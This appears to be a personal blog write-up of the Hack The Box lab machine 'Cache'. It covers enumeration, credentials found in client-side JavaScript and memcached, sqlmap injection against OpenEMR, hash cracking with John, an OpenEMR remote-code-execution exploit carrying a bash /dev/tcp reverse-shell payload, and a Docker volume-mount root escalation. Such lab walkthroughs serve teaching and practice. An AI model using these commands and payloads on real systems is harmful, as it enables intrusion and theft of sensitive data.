HackTheBox WriteUp Cache

Hack The Box Writeup: Cache

I have to say I really enjoyed this machine. Cache starts with finding soms credentials, exploiting the OpenEMR webapplication and getting root by using a Docker GTFOBin. Cache really is a good educational box.

Hack The Box Cache Infocard

[0x1] Recoinnaissance & Enumeration

The first step in the process is the portscan. Let’s see what we have to work with this time. Port 22 shows an OpenSSH service, and port 80 a webser based on Apache.

nmap -A -p- -oA cache-allports cache.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-23 10:56 BST
Nmap scan report for cache.htb (
Host is up (0.018s latency).
rDNS record for cache
Not shown: 65533 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
1 14.85 ms
2 14.94 ms cache (

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.19 seconds

Since there is a website present, I start to check it out to see what it is running. It’s a custom website giving some info about hacking. It does include an option to Log In.

Welcome to cache.htb website

[0x2] Inital Foothold

I tried to use SQLinjection but the log in box is not vulnerable to that. So there must be another path to gain access.

Cache website login

I also run a DIRB on a website to see if there are some hidden gems. In this case there are. DIRB finds three additional directories for me to check out.

dirb http://cache.htb

DIRB v2.22
By The Dark Raver

START_TIME: Sun Aug 23 11:23:34 2020
URL_BASE: http://cache.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: http://cache.htb/ ----
+ http://cache.htb/index.html (CODE:200|SIZE:8193)
==> DIRECTORY: http://cache.htb/javascript/
==> DIRECTORY: http://cache.htb/jquery/
+ http://cache.htb/server-status (CODE:403|SIZE:274)

---- Entering directory: http://cache.htb/javascript/ ----
==> DIRECTORY: http://cache.htb/javascript/jquery/

---- Entering directory: http://cache.htb/jquery/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://cache.htb/javascript/jquery/ ----
+ http://cache.htb/javascript/jquery/jquery (CODE:200|SIZE:268026)

END_TIME: Sun Aug 23 11:27:14 2020

The first directory that DIRB found is forbidden to access. So that one gets taken of the list of usefull things for now.

Forbidden directory

The jquery directory looks more promising and shows the presents of a Javascript file. This looks to be present here intentionally.

Functionality.js file found using dirb

The Javascript file constains a check for a valid password, but also conatains the actual password. One function deeper it does the same for the username.


    var error_correctPassword = false;
    var error_username = false;

    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
         error_username = false;

        if(error_correctPassword == false && error_username ==false){
            return true;
            return false;

With my new found credentials (ash/H@v3_fun) I try to log in to the website. It works, but there is only a under construction page after that. Bummer, but maybe there is another clue somewhere.

Under construction page on Cache

On the Author page of Ash there is a sentence which says “Check out his other projects like Cache: HSM (hospital Management System).

Author profile of Ash

I added a line to my hostfile to try and see if hms.htb would work on the same IP-address. It acutally did and gave another webapplication on the same host called OpenEMR.

I searched on Google to find a way to check the version of OpenEMR and found that it should have a admin.php page showing the current version. It was there and told me that it was running OpenEMR 5.0.1.

OpenEMR version page

I checked Searchsploit to see if there are any known vulnerabilities in OpenEMR. Well, how much do you need? The listing shows that this particulair version has a few known vulnerabilities.

searchsploit openemr
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR - 'site' Cross-Site Scripting | php/webapps/38328.txt
OpenEMR - Arbitrary '.PHP' File Upload (Metasploit) | php/remote/24529.rb
OpenEMR 2.8.1 - 'fileroot' Remote File Inclusion | php/webapps/1886.txt
OpenEMR 2.8.1 - 'srcdir' Multiple Remote File Inclusions | php/webapps/2727.txt
OpenEMR 2.8.2 - 'Import_XML.php' Remote File Inclusion | php/webapps/29556.txt
OpenEMR 2.8.2 - 'Login_Frame.php' Cross-Site Scripting | php/webapps/29557.txt
OpenEMR 3.2.0 - SQL Injection / Cross-Site Scripting | php/webapps/15836.txt
OpenEMR 4 - Multiple Vulnerabilities | php/webapps/18274.txt
OpenEMR 4.0 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/36034.txt
OpenEMR 4.0.0 - Multiple Vulnerabilities | php/webapps/17118.txt
OpenEMR 4.1 - '/contrib/acog/print_form.php?formname' Traversal Local File Inclusion | php/webapps/36650.txt
OpenEMR 4.1 - '/Interface/fax/fax_dispatch.php?File' 'exec()' Call Arbitrary Shell Command Execution | php/webapps/36651.txt
OpenEMR 4.1 - '/Interface/patient_file/encounter/load_form.php?formname' Traversal Local File Inclusion | php/webapps/36649.txt
OpenEMR 4.1 - '/Interface/patient_file/encounter/trend_form.php?formname' Traversal Local File Inclusion | php/webapps/36648.txt
OpenEMR 4.1 - 'note' HTML Injection | php/webapps/38654.txt
OpenEMR 4.1.1 - 'ofc_upload_image.php' Arbitrary File Upload | php/webapps/24492.php
OpenEMR 4.1.1 Patch 14 - Multiple Vulnerabilities | php/webapps/28329.txt
OpenEMR 4.1.1 Patch 14 - SQL Injection / Privilege Escalation / Remote Code Execution (Metasploit) | php/remote/28408.rb
OpenEMR 4.1.2(7) - Multiple SQL Injections | php/webapps/35518.txt
OpenEMR 5.0.0 - OS Command Injection / Cross-Site Scripting | php/webapps/43232.txt
OpenEMR 5.0.1 - Remote Code Execution | php/webapps/48515.py
OpenEMR - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py
OpenEMR Electronic Medical Record Software 3.2 - Multiple Vulnerabilities | php/webapps/14011.txt
Openemr-4.1.0 - SQL Injection | php/webapps/17998.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

I searched on Google to see if there are any articles about how to exploit the vulnerabilities. I came across a nice video that demonstrated the use of an SQL injection to read the contents of the database. It is very well demonstrated which helped me to repeat the steps the author took.

The SQL injection is being used on the Patient Portal of OpenEMR, which can be found on http://hsm.htb/portal

The first thing I needed to do is start the create user form, switch to a different page, and grab the request it makes with BurpSuite. This request is the base for further exploiting the SQL injection, as you can see below.

GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: OpenEMR=jsb4m6i7m5a75littufel3irne; PHPSESSID=pkj7sa0998b8camg088jlap7pf 
Upgrade-Insecure-Requests: 1

Armed with the request I go to SQLmap to launch the attack and see if the webapplication is indeed vulnerable.

sqlmap -r openemr_add_edit_event_user-request.txt --threads=10 --dbs
 ___ ___[.]_____ ___ ___ {1.4.6#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
      |_|V... |_| http://sqlmap.org

[*] starting @ 12:55:26 /2020-08-23/

[12:55:26] [INFO] parsing HTTP request from 'openemr_add_edit_event_user-request.txt'
[12:55:33] [INFO] testing connection to the target URL
[12:55:33] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
[12:55:33] [INFO] checking if the target is protected by some kind of WAF/IPS
[13:01:55] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
back-end DBMS: MySQL >= 5.1
[13:01:55] [INFO] fetching database names
[13:01:55] [INFO] starting 2 threads
[13:01:55] [INFO] retrieved: 'information_schema'
[13:01:55] [INFO] retrieved: 'openemr'
available databases [2]:
[*] information_schema
[*] openemr

So the result of this SQl injection, which works, is the name of the two databases running on the machine. Since information_schema is a system database, I only have to work with openemr.

I relaunch SQLmap based on the newely quired databasename.

sqlmap -r openemr_add_edit_event_user-request.txt --threads=10 -D openemr --tables
 ___ ___[']_____ ___ ___ {1.4.6#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
      |_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 

[*] starting @ 13:05:22 /2020-08-23/

[13:05:22] [INFO] parsing HTTP request from 'openemr_add_edit_event_user-request.txt'

[13:05:31] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[13:05:31] [INFO] fetching database names
[13:05:31] [INFO] starting 2 threads
Database: openemr
[234 tables]
| array |
| groups |
| sequences |
| version |
| addresses |
| amc_misc_data |
| amendments |
| amendments_history |
| ar_activity |
| ar_session |
| audit_details |
| audit_master |
| transactions |
| user_settings |
| users |
| users_facility |
| users_secure |
| valueset |
| voids |
| x12_partners |

A lot of tables are the result of the new SQLmap run. I checked some of them that looked interesting. In the end the only one containing useful stuff is users_secure. So this time I do a SQLmap run with the database and table specified.

sqlmap -r openemr_add_edit_event_user-request.txt -D openemr -T users_secure --dump

 ___ ___[)]_____ ___ ___ {1.4.6#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
      |_|V... |_| http://sqlmap.org

[*] starting @ 13:11:00 /2020-08-23/

[13:11:00] [INFO] parsing HTTP request from 'openemr_add_edit_event_user-request.txt'
[13:11:03] [INFO] fetching columns for table 'users_secure' in database 'openemr'
Database: openemr
Table: users_secure
[1 entry]
| id | salt | username | password | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 |
| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL |

And run contains a nice account name and password hash. Not useable at this moment, since the password is not stored in clear text, but that’s an issue that my dear friend John can fix. I place the username:password combination in a textfile to crack. After a minute or so I got the password back: xxxxxx.

john openemr_admin_hash.txt --wordlist /usr/share/wordlists/rockyou.txt 

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
No password hashes left to crack (see FAQ)

john --show openemr_admin_hash.txt 

Now I have an account I can use the Remote Code Execution exploit I found on Searchsploit earlier. Before running the exploit I start a Netcat listener on my machine to catch the incomming connection.

rlwrap netcat -lvnp 1337
listening on [any] 1337 ...

Just launch the Python exploit, provide the credentials and run a reverse bash connection to my machine. This should give me a shell on Cache.

python 45161.py http://hms.htb -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/ 0>&1'''
 .---. ,---. ,---. .-. .-.,---. ,---.
/ .-. ) | .-.\ | .-' | \| || .-' |\ /|| .-.\
| | |(_)| |-' )| `-. | | || `-. |(\ / || `-'/
| | | | | |--' | .-' | |\ || .-' (_)\/ || (
\ `-' / | | | `--.| | |)|| `--.| \ / || |\ \
 )---' /( /( __.'/( (_)/( __.'| |\/| ||_| \)\
(_) (__) (__) (__) (__) '-' '-' (__)

   ={ P R O J E C T I N S E C U R I T Y }=

         Twitter : @Insecurity
         Site : insecurity.sh

[$] Authenticating with openemr_admin:xxxxxx
[$] Injecting payload

And there it is, a shell as www-data. Now for that User flag.

connect to [] from (UNKNOWN) [] 47484
bash: cannot set terminal process group (1821): Inappropriate ioctl for device
bash: no job control in this shell

[0x3] Path to User flag

First thing I do is grabbing LinPeas from my machine to enumerate Cache.

--2020-08-23 13:21:23--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 144338 (141K) [text/x-sh]
Saving to: 'linpeas.sh'
     0K .......... .......... .......... .......... .......... 35% 1.06M 0s
    50K .......... .......... .......... .......... .......... 70% 2.33M 0s
   100K .......... .......... .......... .......... 100% 9.88M=0.07s

2020-08-23 13:21:23 (1.93 MB/s) - 'linpeas.sh' saved [144338/144338]

I filtered the output to see the interesting stuff LinPeas found.. I noticed that Memchached and Docker are running on the machine. Let’s focus on Memcached.

www-data@cache:/tmp$ ./linpeas.sh

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
  RED/YELLOW: 99% a PE vector
  RED: You must take a look at it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
  LightMangenta: Your username

====================================( Basic information )=====================================
OS: Linux version 4.15.0-109-generic (buildd@lgw01-amd64-010) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: cache
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can to discover hosts, learn more with -h)
[+] /bin/nc is available for network discover & port scanning (linpeas can discover hosts and scan ports, learn more with -h)

====================================( System Information )====================================
[+] Operative system
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits
Linux version 4.15.0-109-generic (buildd@lgw01-amd64-010) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020
Distributor ID: Ubuntu
Description: Ubuntu 18.04.2 LTS
Release: 18.04
Codename: bionic

================================( Processes, Cron & Services )================================
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes

root 885 0.1 1.6 931116 68328 ? Ssl 09:59 0:16 /usr/bin/dockerd -H fd://

memcache 943 0.0 0.0 425792 3968 ? Ssl 09:59 0:02 /usr/bin/memcached -m 64 -p 11211 -u memcache -l -P /var/run/memcached/memcached.pid
root 992 0.0 0.9 809348 40072 ? Ssl 09:59 0:02 /usr/bin/containerd

[+] Services
[i] Search for outdated versions
 [ - ] acpid
 [ + ] apache-htcacheclean
 [ + ] apache2
 [ + ] dbus
 [ + ] docker
 [ + ] ebtables
 [ + ] grub-common
 [ - ] hwclock.sh
 [ - ] mdadm
 [ - ] mdadm-waitidle
 [ + ] memcached
 [ + ] mysql
 [ - ] open-iscsi
 [ + ] open-vm-tools

While I was looking for some more information about the possibilities to use Memcached during Pentesting testing I came across a blog post explaining how to read data stored in the cache by Memcached. I used the commands to see if anything useful could be found in the cache. Memcached only listens locally on port 11211 on this server, which can be opened via telnet.

www-data@cache:/var/www/hms.htb/public_html/interface/main$ netstat -ano
netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0*               LISTEN      off (0.00/0/0)

</public_html/interface/main$ telnet 11211 
Connected to
Escape character is '^]'.

Good, there is a connection. First, check whether the output is also given by means of the version command. Immediately after entering I get the version of Memcached back on Ubuntu.

VERSION 1.5.6 Ubuntu

The stats command shows that data is present in the cache. With this, we can continue to search.

STAT pid 943
STAT uptime 12708
STAT time 1598189450
STAT version 1.5.6 Ubuntu
STAT libevent 2.1.8-stable
STAT pointer_size 64
STAT bytes_read 32318
STAT bytes_written 8469
STAT limit_maxbytes 67108864
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT time_in_listen_disabled_us 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 16
STAT hash_bytes 524288
STAT hash_is_expanding 0

Memcached uses so-called slabs for allocating and storing data. The stats items command displays all items listed on slab. In this case, it is clearly visible that there is only 1 slab that can contain interesting information.

stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 34
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 80
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 1065
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0

With only 1 slabs in cache, it is easy to dump all the data housed in the slab. The content is displayed by means of the command stats cachedump 1 0. The 1 stands for the ID of the slab and the 0 for all data.

There are two very interesting items in this slab, namely user and password

stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]

Now it is just a matter of reading the values for both items. This can easily be done by using the command get. From this, we get a nice set of credentials, namely the username: luffy and the password: 0n3_p1ec3.

get user
VALUE user 0 5

get passwd
VALUE passwd 0 9

While looking around the machine I came across the name “luffy” and “ash” in / home. Chances are that ash’s previously found password will come in handy. First try to sign up with luffy via SSH, because it was not possible via ash’s account.

The log in with Luffy’s credentials work like a charm.

The authenticity of host 'cache.htb (' can't be established.
ECDSA key fingerprint is SHA256:/qQ34g2zzGVlmbMIKeD7JhlhDf/SPzgYFz000v+3KBI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cache.htb,' (ECDSA) to the list of known hosts.
luffy@cache.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-109-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

  System information as of Sun Aug 23 13:38:59 UTC 2020

  System load: 0.02 Processes: 176
  Usage of /: 74.5% of 8.06GB Users logged in: 0
  Memory usage: 23% IP address for ens160:
  Swap usage: 0% IP address for docker0:

Last login: Wed May 6 08:54:44 2020 from

A shell like luffy, which according to the output of id is a member of the group “Docker“. If that’s not a coincidence …

luffy@cache:~$ whoami
luffy@cache:~$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)

First I check if I can read the user.txt as luffy. Unfortunately, no rights. Since the file is in Ash’s home folder, I try to read it through his account. This is possible and with this Ash’s previously found password still comes in handy. The user flag has arrived!

luffy@cache:/home/ash$ su ash
ash@cache:~$ ls
Desktop Documents Downloads Music Pictures Public user.txt
ash@cache:~$ cat user.txt 

Back to Luffy and the Docker story. I know there is a post about Docker in GTFOBins and it talks about a method to get a root shell easily. All it takes is the name of an image. In the example this is Alpine.

By means of the docker images command I see that there is only 1 image with the name ubuntu. This is the only info I need to try the root shell.

luffy@cache:/home/ash$ docker images
ubuntu latest 2ca708c1c9cc 11 months ago 64.2MB

I run the command and immediately get an empty prompt. This looks fine and I just check id, whoami and hostname to see if it worked. After that, it’s just a matter of grabbing the root flag (I think).

luffy@cache:/home/ash$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
# hostname

Whoop Whoop! There we have the root flag. This makes Cache officially rooted.

# cat /root/root.txt


Ethical Hacker | Cybersecurity enthusiast | Always looking to expand my knowledge | got root?

Add comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Your Header Sidebar area is currently empty. Hurry up and add some widgets.